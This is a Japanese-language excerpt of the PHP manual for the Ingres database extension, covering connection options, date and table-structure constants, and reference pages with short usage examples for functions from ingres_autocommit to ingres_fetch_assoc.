II_DATE_FORMAT の設定 FINNISH と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_ISO (int)
II_DATE_FORMAT の設定 ISO と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_ISO4 (int)
II_DATE_FORMAT の設定 ISO4 と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_GERMAN (int)
II_DATE_FORMAT の設定 GERMAN と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_MDY (int)
II_DATE_FORMAT の設定 MDY と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_DMY (int)
II_DATE_FORMAT の設定 DMY と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_YMD (int)
II_DATE_FORMAT の設定 YMD と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_MONEY_LEADING (int)
金額の値の先頭に表示する文字を表します。 II_MONEY_FORMAT の設定 "L:" と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_MONEY_TRAILING (int)
金額の値の最後に表示する文字を表します。 II_MONEY_FORMAT の設定 "T:" と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_STRUCTURE_BTREE (int)
デフォルトのテーブル構造あるいはインデックス構造を BTREE に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_CBTREE (int)
デフォルトのテーブル構造あるいはインデックス構造を COMPRESSED BTREE に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_HASH (int)
デフォルトのテーブル構造あるいはインデックス構造を HASH に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_CHASH (int)
デフォルトのテーブル構造あるいはインデックス構造を COMPRESSED HASH に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_HEAP (int)
デフォルトのテーブル構造あるいはインデックス構造を HEAP に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_CHEAP (int)
デフォルトのテーブル構造あるいはインデックス構造を COMPRESSED HEAP に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_ISAM (int)
デフォルトのテーブル構造あるいはインデックス構造を ISAM に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。
INGRES_STRUCTURE_CISAM (int)
デフォルトのテーブル構造あるいはインデックス構造を COMPRESSED ISAM に設定します。 これは、接続時のオプション table_structure あるいは index_structure と組み合わせて使用します。 PECL 拡張モジュールのバージョン 1.4.0 以降で使用可能です。 ingres_connect() および ingres_pconnect() で使用します。 ingres_connect() の オプション も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

この例では、Ingres データベースに対する接続、クエリの実行、 結果の表示および接続解除の方法を説明します。

例1 シンプルな Ingres の例

<?php
// 接続し、データベースを選択します
$link = ingres_connect("database", "user", "password")
    or die("接続できなせんでした: " . ingres_error($link));
echo "接続に成功しました";

// すべての Ingres データベース内に存在するテーブルから select します
$query = "SELECT * FROM iitables";
$result = ingres_query($link,$query) or die("問い合わせに失敗しました: " .
ingres_error($link));

// 結果を HTML で出力します
// relid - テーブル名
// relowner - テーブルの所有者
echo "<table>\n";
while ($iitables = ingres_fetch_object($result)) {
    echo "\t<tr>\n";
    echo "\t\t<td>" . $iitables->relid . "</td>\n";
    echo "\t\t<td>" . $iitables->relowner . "</td>\n";
    echo "\t</tr>\n";
}
echo "</table>\n";

// 結果を開放します
ingres_free_result($result);

// トランザクションをコミットします
ingres_commit($link);

// 接続を閉じます
ingres_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


Ingres 関数

目次

  • ingres_autocommit_state — 接続が autocommit を使っているかどうかを調べる
  • ingres_autocommit — autocommit をオンまたはオフに切替える
  • ingres_charset — 文字セットを返す
  • ingres_close — Ingres データベース接続を閉じる
  • ingres_commit — トランザクションをコミットする
  • ingres_connect — Ingres データベースへの接続をオープンする
  • ingres_cursor — 指定した結果リソースのカーソル名を取得する
  • ingres_errno — 直近に発生した ingres エラー番号を取得する
  • ingres_error — 直近に発生したエラーのエラーメッセージを取得する
  • ingres_errsqlstate — 直近に発生した SQLSTATE エラーコードを取得する
  • ingres_escape_string — クエリで使うために特殊文字をエスケープする
  • ingres_execute — プリペアドクエリを実行する
  • ingres_fetch_array — 1 行分の結果を配列に取得する
  • ingres_fetch_assoc — 1 行分の結果を連想配列に取得する
  • ingres_fetch_object — 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_proc_return — プロシージャコールからの返り値を取得する
  • ingres_fetch_row — 1 行分の結果を数値添字配列として取得する
  • ingres_field_length — フィールド長を得る
  • ingres_field_name — クエリ結果においてフィールド名を得る
  • ingres_field_nullable — フィールドに null 値を設定可能かどうか調べる
  • ingres_field_precision — フィールドの精度を得る
  • ingres_field_scale — フィールドのスケールを得る
  • ingres_field_type — クエリ結果においてフィールドの型を得る
  • ingres_free_result — 結果 ID に関連づけられたリソースを解放する
  • ingres_next_error — 次の Ingres エラーを取得する
  • ingres_num_fields — 直近のクエリにより返されたフィールドの数を得る
  • ingres_num_rows — クエリが変更したり返したりしたレコードの数を取得する
  • ingres_pconnect — Ingres データベースへの持続的接続をオープンする
  • ingres_prepare — 後で実行するためのクエリを準備する
  • ingres_query — Ingres に SQL クエリを送信する
  • ingres_result_seek — データを取得する前に行の位置を設定する
  • ingres_rollback — トランザクションをロールバックする
  • ingres_set_environment — 環境を設定して出力オプションを制御する
  • ingres_unbuffered_query — 未バッファ SQL クエリを Ingres に送信する

User Contributed Notes

corysbrain-ondrugs at yahoo dot com 07-Jul-2007 09:04
My post below works but is *not* the correct way.  It only works because of default behavior.   I'll re-post my understanding of what is "correct" soon.
corysbrain-ondrugs at yahoo dot com 13-Feb-2007 06:57
On the three versions of Linux/Ingres I've worked on, I've always had to modify the following line in the example above:

while ($iirelation = ingres_fetch_object($link)) {

to:

while ($iirelation = ingres_fetch_object()) {

If not, PHP will return "Undefined property" notices.

However,  it's my understanding that the following is the proper way to access the database (it works as expected):

<?php
// Connecting, selecting database
$link = ingres_connect('database', 'user', 'password')
   or die('Could not connect: ' . ingres_error($link));
echo 'Connected successfully';

// Select from a table that exists in all Ingres databases
$query = 'SELECT * FROM iirelation';
$rs = ingres_query($link,$query) or die('Query failed: ' .
ingres_error($link));

// Print results in HTML
// relid - table name
// relowner - table owner
echo "<table>\n";
while ($iirelation = ingres_fetch_object($rs)) {
   echo "\t<tr>\n";
   echo "\t\t<td>" . $iirelation->relid . "</td>\n";
   echo "\t\t<td>" . $iirelation->relowner . "</td>\n";
   echo "\t</tr>\n";
}
echo "</table>\n";

// Commit transaction
ingres_commit($link);
// Closing connection
ingres_close($link);
?>


接続が autocommit を使っているかどうかを調べる

  • ≪ Ingres 関数
  • ingres_autocommit ≫
  • PHP Manual
  • Ingres 関数
  • 接続が autocommit を使っているかどうかを調べる

ingres_autocommit_state

(PECL ingres >= 2.0.0)

ingres_autocommit_state — 接続が autocommit を使っているかどうかを調べる

説明

ingres_autocommit_state ( resource $link ) : bool

ingres_autocommit_state() をコールして、 現在のリンクで autocommit が有効になっているかどうかを調べます。

パラメータ

link

接続リンク ID。

返り値

autocommit が有効な場合に true、無効な場合に false を返します。

参考

  • ingres_autocommit() - autocommit をオンまたはオフに切替える
  • ingres_query() - Ingres に SQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


autocommit をオンまたはオフに切替える

  • ≪ ingres_autocommit_state
  • ingres_charset ≫
  • PHP Manual
  • Ingres 関数
  • autocommit をオンまたはオフに切替える

ingres_autocommit

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_autocommit — autocommit をオンまたはオフに切替える

説明

ingres_autocommit ( resource $link ) : bool

ingres_autocommit() は、サーバーの autocommit
モードをオンまたはオフに切替えるために、トランザクションをオープンする前
(最初に ingres_query() をコールする前、または
ingres_rollback() あるいは
ingres_commit() をコールした直後) にコールされます
(スクリプトの実行開始には、autocommit モードはオフです)。

autocommit モードがオンの場合、各クエリはサーバーにより自動的にコミットされます。 これは、ingres_query() をコールした後に常に ingres_commit() をコールすることと等価です。 autocommit が有効かどうかを調べるには ingres_autocommit_state() を使用します。

デフォルトで、Ingres will はリクエストの終了時に未コミットのトランザクションをロールバックします。 この関数あるいは ingres_commit() を使うことで、データを確実にデータベースにコミットすることができます。

パラメータ

link

接続リンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ingres_autocommit_state() - 接続が autocommit を使っているかどうかを調べる
  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_rollback() - トランザクションをロールバックする
  • ingres_commit() - トランザクションをコミットする

User Contributed Notes

There are no user contributed notes for this page.


文字セットを返す

  • ≪ ingres_autocommit
  • ingres_close ≫
  • PHP Manual
  • Ingres 関数
  • 文字セットを返す

ingres_charset

(PECL ingres >= 2.1.0)

ingres_charset — 文字セットを返す

説明

ingres_charset ( resource $link ) : string

ingres_charset() をコールして、 Ingres クライアントが使っている文字セットを取得します。 II_CHARSETxx (xx は導入されているコード) 形式となります。

注意:

返される値をオーバーライドするには putenv() を使います。 実行中の Ingres における II_CHARSETxx の値の変更は、データが破壊されてしまう原因となります。

パラメータ

link

接続リンク ID。

返り値

II_CHARSETxx の文字列を返します。値を取得できなかった場合は NULL を返します。

例

例1 ingres_charset() - 導入している文字セットの取得

<?php
$link = ingres_connect($database, $user, $password);

echo ingres_charset($link) . "\n";

ingres_close($link);
?>

参考

  • ingres_connect() - Ingres データベースへの接続をオープンする
  • ingres_query() - Ingres に SQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


Ingres データベース接続を閉じる

  • ≪ ingres_charset
  • ingres_commit ≫
  • PHP Manual
  • Ingres 関数
  • Ingres データベース接続を閉じる

ingres_close

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_close — Ingres データベース接続を閉じる

説明

ingres_close ( resource $link ) : bool

ingres_close() は、指定したリンクが指す Ingres サーバーへの接続をクローズします。パラメータ

持続的接続をクローズすることはできず、 持続的でない接続はスクリプトの終了時に自動的にクローズされるため、 ingres_close() は通常は不要です。

パラメータ

link

接続リンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ingres_connect() - Ingres データベースへの接続をオープンする
  • ingres_pconnect() - Ingres データベースへの持続的接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをコミットする

  • ≪ ingres_close
  • ingres_connect ≫
  • PHP Manual
  • Ingres 関数
  • トランザクションをコミットする

ingres_commit

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_commit — トランザクションをコミットする

説明

ingres_commit ( resource $link ) : bool

ingres_commit() は、 現在オープンしているトランザクションをコミットし、 全ての変更をデータベースに保存します。

この関数はトランザクションをクローズします。 ingres_query() によりクエリを送信することで、 新規のトランザクションをオープンすることが可能です。

トランザクションをオープンする前に ingres_autocommit() をコールすることにより、 各クエリの後に自動的にサーバー側でコミットを行うことも可能です。

デフォルトで、Ingres will はリクエストの終了時に未コミットのトランザクションをロールバックします。 この関数あるいは ingres_autocommit() を使うことで、データを確実にデータベースにコミットすることができます。

パラメータ

link

接続リンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_rollback() - トランザクションをロールバックする
  • ingres_autocommit() - autocommit をオンまたはオフに切替える

User Contributed Notes

There are no user contributed notes for this page.


Ingres データベースへの接続をオープンする

  • ≪ ingres_commit
  • ingres_cursor ≫
  • PHP Manual
  • Ingres 関数
  • Ingres データベースへの接続をオープンする

ingres_connect

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_connect — Ingres データベースへの接続をオープンする

説明

ingres_connect ( string $database = ? , string $username = ? , string $password = ? , array $options = ? ) : resource|false

ingres_connect() は、指定した Ingres database との接続をオープンします。

この接続は、スクリプトの実行終了時または、このリンクについて ingres_close() がコールされた場合に クローズされます。

パラメータ

いくつかのパラメータが欠けている場合、 ingres_connect() は、 ingres.default_database、 ingres.default_user、 ingres.default_password に関して php.ini の値を使用します。

database

データベース名。

[vnode::]dbname[/svr_class] 形式でなければなりません。

username

Ingres のユーザー名。

password

username のパスワード。

options

ingres_connect() のオプション

オプション名 | 型 | 説明 | 例
date_century_boundary | int | 2桁で指定した年を、今世紀と判断するか来世紀と判断するかの閾値。 II_DATE_CENTURY_BOUNDARY と同等です。 | 50
group | string | ユーザーのグループ ID を指定します。"-G" フラグと同等です。 | payroll
role | string | アプリケーションのロール ID。ロールのパスワードが必要な場合は、 このパラメータは "role/password" 形式で指定する必要があります。
effective_user | string | 使用する ingres ユーザーアカウント。"-u" フラグと同等です。 | another_user
dbms_password | string | ユーザーが Ingres に接続する際に使用する、内部データベースのパスワード。 | s3cr3t
table_structure string

新規テーブルのデフォルトの構造。以下のいずれかが指定可能です。

  • INGRES_STRUCTURE_BTREE
  • INGRES_STRUCTURE_HASH
  • INGRES_STRUCTURE_HEAP
  • INGRES_STRUCTURE_ISAM
  • INGRES_STRUCTURE_CBTREE
  • INGRES_STRUCTURE_CISAM
  • INGRES_STRUCTURE_CHASH
  • INGRES_STRUCTURE_CHEAP

 INGRES_STRUCTURE_BTREE
index_structure string

新規セカンダリインデックスのデフォルトの構造。以下のいずれかが指定可能です。

  • INGRES_STRUCTURE_CBTREE
  • INGRES_STRUCTURE_CISAM
  • INGRES_STRUCTURE_CHASH
  • INGRES_STRUCTURE_BTREE
  • INGRES_STRUCTURE_HASH
  • INGRES_STRUCTURE_ISAM

 INGRES_STRUCTURE_HASH
login_local | bool | 対象データベースの文字列に VNODE が含まれていた場合に ユーザー ID とパスワードをどのように使用して接続するかを指定します。 TRUE に設定すると、ユーザー ID とパスワードで VNODE にローカルアクセスし、 VNODE のログイン情報を使用してデータベースとの接続を確立します。 FALSE に設定すると、プロセスのユーザー ID を使用して VNODE にアクセスし、 接続用のユーザー ID とパスワードを VNODE のログイン情報の代わりに使用して データベースとの接続を確立します。対象データベースの文字列に VNODE が含まれていない場合は、このパラメータは無視されます。 デフォルトは FALSE です。 | TRUE
timezone | string | このセッションのタイムゾーンを設定します。設定しなかった場合は II_TIMEZONE_NAME の値が使用されます。II_TIMEZONE_NAME も設定されていない場合は、NA-PACIFIC (GMT-8 に夏時間を適用) が用いられます。
date_format int

Ingres の日付として指定可能な入出力書式を設定します。 デフォルトは II_DATE_FORMAT で指定された値です。II_DATE_FORMAT が設定されていない場合は、デフォルトは US の日付フォーマット、すなわち mm/dd/yy となります。以下のいずれかが使用可能です。

  • INGRES_DATE_DMY
  • INGRES_DATE_FINISH
  • INGRES_DATE_GERMAN
  • INGRES_DATE_ISO
  • INGRES_DATE_ISO4
  • INGRES_DATE_MDY
  • INGRES_DATE_MULTINATIONAL
  • INGRES_DATE_MULTINATIONAL4
  • INGRES_DATE_YMD
  • INGRES_DATE_US

 INGRES_DATE_MULTINATIONAL4
decimal_separator string 小数点を表す文字。 ","
money_lort int

通貨記号を先頭あるいは末尾のどちらにつけるか。以下のいずれかが使用可能です。

  • INGRES_MONEY_LEADING
  • INGRES_MONEY_TRAILING

 INGRES_MONEY_TRAILING
money_sign string MONEY データ型で使用する通貨記号。 ?
money_precision | int | MONEY データ型の精度。 | 3
float4_precision | int | FLOAT4 データ型の精度。 | 10
float8_precision | int | FLOAT8 データの精度。 | 10
blob_segment_length | int | BLOB/CLOB データを読み込む際に、一度に取得するデータのバイト数。 明示的に指定しなかった場合、デフォルトは 4096 バイトです。 | 8192

返り値

成功時に Ingres リンクリソース、失敗した場合に false を返します。

例

例1 Ingres データベースへの接続のオープン

<?php
$link = ingres_connect("mydb", "user", "pass")
    or die("接続できませんでした");
echo "接続に成功しました";
ingres_close($link);
?>

参考

  • ingres_pconnect() - Ingres データベースへの持続的接続をオープンする
  • ingres_close() - Ingres データベース接続を閉じる

User Contributed Notes

tdjunk at openxtrem dot com 26-Jun-2007 05:09
You need to connect with the user running your web server, be it apache, nobody, or system (on MS Windows). Hence you have to create a matching (username) Ingres user.

Otherwise you may experience an Ingres Error :

 790536 : Unable to authenticate client's user ID.

See more information on the community forum : http://community.ingres.com/forum/dba-forum/463-installation-problem-ingres-ice.html


指定した結果リソースのカーソル名を取得する

  • ≪ ingres_connect
  • ingres_errno ≫
  • PHP Manual
  • Ingres 関数
  • 指定した結果リソースのカーソル名を取得する

ingres_cursor

(PECL ingres >= 1.1.0)

ingres_cursor — 指定した結果リソースのカーソル名を取得する

説明

ingres_cursor ( resource $result ) : string

アクティブなカーソルの名前を文字列で返します。 アクティブなカーソルがない場合は NULL を返します。

パラメータ

result

クエリ結果 ID。

返り値

アクティブなカーソルの名前を含む文字列を返します。 アクティブなカーソルがない場合は NULL が返されます。

例

例1 クエリリソースのカーソル名の取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_prepare($link, "select * from table");

$cursor_name = ingres_cursor($result);

echo $cursor_name;

?>

参考

  • ingres_prepare() - 後で実行するためのクエリを準備する
  • ingres_execute() - プリペアドクエリを実行する

User Contributed Notes

There are no user contributed notes for this page.


直近に発生した ingres エラー番号を取得する

  • ≪ ingres_cursor
  • ingres_error ≫
  • PHP Manual
  • Ingres 関数
  • 直近に発生した ingres エラー番号を取得する

ingres_errno

(PECL ingres >= 1.1.0)

ingres_errno — 直近に発生した ingres エラー番号を取得する

説明

ingres_errno ( resource $link = ? ) : int

直近のエラー番号を整数値で返します。エラーが発生していない場合は 0 を返します。

link リソースが ingres_errno() に渡された場合、そのリンクに記録された直近のエラーを返します。 リンクが渡されなかった場合、ingres_errno() はデフォルトのリンクを使用して直近のエラーを返します。

この関数 ingres_errno() は、 データベースクエリを実行した直後にコールしなければなりません。 ingres_errno() の前に他の関数がコールされると、 直近の Ingres 関数のコールで発生したエラーコードが書き換えられてしまいます。

パラメータ

link

接続リンク ID。

返り値

直近のエラー番号を整数値で返します。エラーが発生していない場合は 0 を返します。

例

例1 直近の Ingres エラー番号の取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_code = ingres_errno($link);

if ( $error_code != 0 ) {
   echo "エラーが発生しました - " . $error_code;
}
?>

参考

  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する
  • ingres_errsqlstate() - 直近に発生した SQLSTATE エラーコードを取得する
  • ingres_next_error() - 次の Ingres エラーを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近に発生したエラーのエラーメッセージを取得する

  • ≪ ingres_errno
  • ingres_errsqlstate ≫
  • PHP Manual
  • Ingres 関数
  • 直近に発生したエラーのエラーメッセージを取得する

ingres_error

(PECL ingres >= 1.1.0)

ingres_error — 直近に発生したエラーのエラーメッセージを取得する

説明

ingres_error ( resource $link = ? ) : string

直近のエラーの内容を文字列で返します。エラーが発生していない場合は NULL を返します。

link リソースが ingres_error() に渡された場合、そのリンクに記録された直近のエラーを返します。 リンクが渡されなかった場合、ingres_error() はデフォルトのリンクを使用して直近のエラーを返します。

この関数 ingres_error() は、 データベースクエリを実行した直後にコールしなければなりません。 ingres_error() の前に他の関数がコールされると、 直近の Ingres 関数のコールで発生したエラーメッセージが書き換えられてしまいます。

パラメータ

link

接続リンク ID。

返り値

直近のエラーの内容を文字列で返します。エラーが発生していない場合は NULL を返します。

例

例1 直近のエラーメッセージの取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_text = ingres_error();

if (!is_null($error_text)) {
   echo "エラーが発生しました - " . $error_text;
}
?>

参考

  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_errsqlstate() - 直近に発生した SQLSTATE エラーコードを取得する
  • ingres_next_error() - 次の Ingres エラーを取得する

User Contributed Notes

There are no user contributed notes for this page.


直近に発生した SQLSTATE エラーコードを取得する

  • ≪ ingres_error
  • ingres_escape_string ≫
  • PHP Manual
  • Ingres 関数
  • 直近に発生した SQLSTATE エラーコードを取得する

ingres_errsqlstate

(PECL ingres >= 1.1.0)

ingres_errsqlstate — 直近に発生した SQLSTATE エラーコードを取得する

説明

ingres_errsqlstate ( resource $link = ? ) : string

直近の SQLSTATE を文字列で返します。エラーが発生していない場合は NULL を返します。

link リソースが ingres_errsqlstate() に渡された場合、そのリンクに記録された直近のエラーを返します。 リンクが渡されなかった場合、ingres_errsqlstate() はデフォルトのリンクを使用して直近のエラーを返します。

この関数 ingres_errsqlstate() は、 データベースクエリを実行した直後にコールしなければなりません。 ingres_errsqlstate() の前に他の関数がコールされると、 直近の Ingres 関数のコールで発生したエラーメッセージが書き換えられてしまいます。

パラメータ

link

接続リンク ID。

返り値

直近の SQLSTATE を文字列で返します。エラーが発生していない場合は NULL を返します。

例

例1 直近の SQLSTATE エラーコードの取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_sqlstate = ingres_errsqlstate($link);

if (!is_null($error_sqlstate)) {
   echo "エラーが発生しました - " . $error_sqlstate;
}
?>

参考

  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する
  • ingres_next_error() - 次の Ingres エラーを取得する

User Contributed Notes

There are no user contributed notes for this page.


クエリで使うために特殊文字をエスケープする

  • ≪ ingres_errsqlstate
  • ingres_execute ≫
  • PHP Manual
  • Ingres 関数
  • クエリで使うために特殊文字をエスケープする

ingres_escape_string

(PECL ingres >= 2.1.0)

ingres_escape_string — クエリで使うために特殊文字をエスケープする

説明

ingres_escape_string ( resource $link , string $source_string ) : string

ingres_escape_string() を使って、 文字列内の特殊文字をエスケープしてからデータベースに送信します。

パラメータ

link

接続リンク ID。

source_string

パースする文字列。

返り値

エスケープしたデータを含む文字列を返します。

例

例1 クエリで使うための特殊文字のエスケープ

<?php
$link = ingres_connect($database, $user, $password);

$last_name = "O'Connor";

$sql = sprintf("select * from user_profile where up_last = '%s'", ingres_escape_string( $link, $last_name));

$result = ingres_query($link, $sql);

while ($user = ingres_fetch_object($result))
{
  echo $user->up_first . '<BR/>';
}

ingres_commit($link);

ingres_close($link);

?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


プリペアドクエリを実行する

  • ≪ ingres_escape_string
  • ingres_fetch_array ≫
  • PHP Manual
  • Ingres 関数
  • プリペアドクエリを実行する

ingres_execute

(PECL ingres >= 1.1.0)

ingres_execute — プリペアドクエリを実行する

説明

ingres_execute ( resource $result , array $params = ? , string $types = ? ) : bool

ingres_prepare() で準備したクエリを実行します。

注意: 関連する設定項目

実行時設定での ingres.describe、 ingres.scrollable および ingres.utf8 の説明も参照ください。

パラメータ

result

クエリ結果 ID。

params

このクエリで使うパラメータの値の配列。

types

パラメータに渡した値の型を表す文字列。型コードの一覧は ingres_query() の types パラメータを参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ingres_unbuffered_query() - 未バッファ SQL クエリを Ingres に送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する
  • ingres_commit() - トランザクションをコミットする
  • ingres_rollback() - トランザクションをロールバックする
  • ingres_autocommit() - autocommit をオンまたはオフに切替える
  • ingres_set_environment() - 環境を設定して出力オプションを制御する
  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


1 行分の結果を配列に取得する

  • ≪ ingres_execute
  • ingres_fetch_assoc ≫
  • PHP Manual
  • Ingres 関数
  • 1 行分の結果を配列に取得する

ingres_fetch_array

(PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_fetch_array — 1 行分の結果を配列に取得する

説明

ingres_fetch_array ( resource $result , int $result_type = ? ) : array

この関数は、ingres_fetch_row() の拡張版です。 結果として返される配列の数値添字にデータを保存するだけでなく、 フィールド名をキーとして連想配列にもデータが保存されます。

結果において複数のカラムが同じフィールド名を有している場合、後の カラムが優先されます。同名の他のカラムにアクセスするには、カラムの 添字番号を使用するか、カラムのエイリアスを作成する必要があります。

<?php

$result = ingres_query($link, "select ap_place as city, ap_ccode as country from airport where ap_iatacode = 'VLL'");
$result = ingres_fetch_array($result);
$foo = $result["city"];
$bar = $result["country"];

?>

速度面では、この関数は ingres_fetch_object() と同じで、ingres_fetch_row() とほぼ同等です (差は僅かです)。

デフォルトでは、ingres_fetch_array() が作成する配列のインデックスは 1 から始まります。これは、 他の DBMS の拡張モジュールが 0 から始めるのと異なっています。 他と同様に 0 から始めるようにするには、設定パラメータ ingres.array_index_start を使用します。

注意: 関連する設定項目

実行時設定 の ingres.array_index_start, ingres.fetch_buffer_size および ingres.utf8 ディレクティブも参照ください。

パラメータ

result

クエリ結果 ID。

result_type

result_type には、数値添字の場合に INGRES_NUM、連想配列の場合に INGRES_ASSOC、両方の場合に INGRES_BOTH (デフォルト)を指定可能です。

返り値

取得したレコード(行)に対応する配列を返します。 レコードがもうない場合は false を返します。

例

例1 配列への結果の行の取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link,"select * from table");
while ($row = ingres_fetch_array($result)) {
    echo $row["user_id"];  // 連想配列を使用する
    echo $row["fullname"];
    echo $row[1];          // 数値添字配列を使用する
    echo $row[2];
}
?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_num_fields() - 直近のクエリにより返されたフィールドの数を得る
  • ingres_field_name() - クエリ結果においてフィールド名を得る
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


1 行分の結果を連想配列に取得する

  • ≪ ingres_fetch_array
  • ingres_fetch_object ≫
  • PHP Manual
  • Ingres 関数
  • 1 行分の結果を連想配列に取得する

ingres_fetch_assoc

(PECL ingres >= 2.2.2)

ingres_fetch_assoc — 1 行分の結果を連想配列に取得する

説明

ingres_fetch_assoc ( resource $result ) : array

この関数は、ingres_query() で実行したクエリから取得したデータを連想配列に保存します。 フィールド名が連想配列のキーとなります。

速度面では、この関数は ingres_fetch_object() と同じで、ingres_fetch_row() とほぼ同等です (差は僅かです)。

デフォルトでは、ingres_fetch_assoc() が作成する配列のインデックスは 1 から始まります。これは、 他の DBMS の拡張モジュールが 0 から始めるのと異なっています。 他と同様に 0 から始めるようにするには、設定パラメータ ingres.array_index_start を使用します。

注意: 関連する設定項目

実行時設定での ingres.array_index_start、 ingres.fetch_buffer_size および ingres.utf8 の説明も参照ください。

パラメータ

result

クエリ結果 ID。

返り値

取得した行に対応する連想配列を返します。 行がもうない場合は false を返します。

例

例1 連想配列への行の取得

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link,"select * from table");
while ($row = ingres_fetch_assoc($result)) {
    echo $row["user_id"];  // 連想配列を使用する
    echo $row["fullname"];
}
?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_num_fields() - 直近のクエリにより返されたフィールドの数を得る
  • ingres_field_name() - クエリ結果においてフィールド名を得る
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
